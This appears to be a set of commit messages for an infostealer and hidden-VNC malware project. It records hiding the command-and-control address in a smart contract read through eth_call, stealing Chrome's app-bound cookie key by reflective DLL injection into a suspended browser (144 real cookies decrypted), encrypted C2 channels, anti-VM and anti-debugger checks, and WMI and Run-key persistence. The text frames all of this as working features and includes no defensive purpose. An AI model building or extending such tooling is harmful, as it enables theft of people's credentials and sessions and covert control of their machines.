The agent resolves its C2 endpoint from a resolver contract on a public
chain via eth_call (free, read-only), so the compiled binary carries no C2
address; rotating the C2 is one contract call and every bot picks up the
new value on next start. Pattern per the 2026 Remus analysis: eth_call
with the get() selector (0x6d4ce63c) against a public JSON-RPC provider,
the endpoint stored as a bytes32 host:port. Any failure falls back to the
compiled endpoint.
- src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode,
host:port parse, WinHTTP POST with hard timeouts
- agent: resolves before the argv/env override so an explicit endpoint
still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override
- setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for
the resolver under TCP; the summary and recreate line carry them
- tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer
instructions otherwise); contract source included, deployed via Remix
- verified: selectors checked against a real keccak implementation,
contract compiles with solc 0.8.19, wizard and non-interactive flows
emit the config end to end, mock RPC positive/negative tests, live
HTTPS RPC probe degrades gracefully, and the full steal still recovers
the v20 key through the chain-resolved agent
The v20 master key is recovered the proven way: the agent spawns Chrome
suspended, reflectively injects the payload DLL, and the payload decrypts
the app-bound key through the COM IElevator inside the browser, pipes the
full loot back, and the agent terminates the host. The offline agent falls
back to the DPAPI v10 key. Verified on the box: identical loot across runs,
144 real v20 cookies decrypted to plaintext.
The Vidar-style fork+APC experiment is removed entirely, including its
syscall wrappers; the syscall engine is back to the pre-ABE baseline. What
the experiment taught is recorded in FUTURE_ADDITIONS: CryptProtectMemory
lives in crypt32/dpapi not kernel32, special user APCs are rejected for CET
threads, NtCreateProcessEx forks crash Chrome 151, elevated browsers refuse
access from a medium-integrity agent, and re-encrypting an unchanged buffer
corrupts live browser memory.
Diagnostics kept: inject errors surface in the loot instead of silently
falling back, and the payload reports an empty loot explicitly.
setup.py now generates a P-256 console keypair: the public half compiles into config.h, the private half persists to .misery_key (gitignored, chmod 600) and is loaded by the console at runtime. Agent and console agree a per-connection AES-256-GCM session key from an ECDH handshake (plaintext KEY_EXCHANGE frame on TCP, ephemeral-pubkey prefix on beacon polls), so no secret key material ships in a binary. KEY= option removed; --rotate-key rotates the keypair.
Add a user-mode environment check (CPUID, firmware tables, MAC OUIs, guest drivers, PEB flags, debug-port queries, tool scans) that gates the TCP reconnect backoff. Extend debugger_present() with ProcessDebugObjectHandle (0x1E). Add WMI event subscriptions (T1546.003): a 15-minute timer relaunch plus a Run-key guard that recreates a deleted value, backed by an idempotent Run write that cannot retrigger itself. Document both in the README.